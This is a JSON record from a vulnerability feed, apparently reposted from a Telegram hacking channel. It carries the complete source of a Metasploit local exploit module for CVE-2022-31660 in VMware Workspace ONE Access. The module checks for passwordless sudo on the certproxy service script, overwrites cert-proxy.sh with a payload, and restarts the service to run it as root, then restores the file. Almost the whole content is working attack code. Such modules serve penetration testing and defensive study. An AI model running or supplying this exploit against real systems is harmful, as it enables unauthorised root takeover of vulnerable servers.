{"uuid": "c05bb0c7-1522-40dc-924e-1d7fcfbf282e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/hacking_Attack/64227", "content": "Exploit Collector\nVMware Workspace ONE Access Privilege Escalation\n\nhttps://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.\n\nSHA-256 | 84c0696cc53d2e4bd749c04b694cbb8ae3676b266a9d0e92ecb77d88dc2558c3Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = ExcellentRanking\n\ninclude Msf::Exploit::EXE\ninclude Msf::Post::File\ninclude Msf::Post::Unix\n\nTARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'VMware Workspace ONE Access CVE-2022-31660',\n'Description' => %q{\nVMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\nto those of the root user by modifying a file and then restarting the vmware-certproxy service which\ninvokes it. The service control is permitted via the sudo configuration without a password.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Spencer McIntyre'\n],\n'Platform' => [ 'linux', 'unix' ],\n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n'SessionTypes' => ['shell', 'meterpreter'],\n'Targets' => [\n[ 'Automatic', {} ],\n],\n'DefaultOptions' => {\n'PrependFork' => true,\n'MeterpreterTryToFork' => true\n},\n'Privileged' => true,\n'DefaultTarget' => 0,\n'References' => [\n[ 'CVE', '2022-31660' ],\n[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]\n],\n'DisclosureDate' => '2022-08-02',\n'Notes' => {\n# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service\n# is disabled by default though.\n'Stability' => [CRASH_SERVICE_DOWN],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [ARTIFACTS_ON_DISK]\n}\n}\n)\n)\nend\n\ndef certproxy_service\n# this script's location depends on the version, so find it.\nreturn @certproxy_service if @certproxy_service\n\n@certproxy_service = [\n'/usr/local/horizon/scripts/certproxyService.sh',\n'/opt/vmware/certproxy/bin/certproxyService.sh'\n].find { |path| file?(path) }\n\nvprint_status(\"Found service control script at: #{@certproxy_service}\") if @certproxy_service\n@certproxy_service\nend\n\ndef sudo(arguments)\ncmd_exec(\"sudo --non-interactive #{arguments}\")\nend\n\ndef check\nunless whoami == 'horizon'\nreturn CheckCode::Safe('Not running as the horizon user.')\nend\n\ntoken = Rex::Text.rand_text_alpha(10)\nunless sudo(\"--list '#{certproxy_service}' && echo #{token}\").include?(token)\nreturn CheckCode::Safe('Cannot invoke the service control script with sudo.')\nend\n\nunless writable?(TARGET_FILE)\nreturn CheckCode::Safe('Cannot write to the service file.')\nend\n\nCheckCode::Appears\nend\n\ndef exploit\n# backup the original permissions and contents\nprint_status('Backing up the original file...')\n@backup = {\nstat: stat(TARGET_FILE),\ncontents: read_file(TARGET_FILE)\n}\n\nif payload.arch.first == ARCH_CMD\npayload_data = \"#!/bin/bash\\n#{payload.encoded}\"\nelse\npayload_data = generate_payload_exe\nend\nupload_and_chmodx(TARGET_FILE, payload_data)\nprint_status('Triggering the payload...')\nsudo(\"--background #{certproxy_service} restart\")\nend\n\ndef cleanup\nreturn unless @backup\n\nprint_status('Restoring file contents...')\nfile_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it\nwrite_file(TARGET_FILE, @backup[:contents])\nprint_status('Restoring file permissions...')\nchmod(TARGET_FILE, @backup[:stat].mode & 0o777)\nend\nend Source:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:27.028755Z"}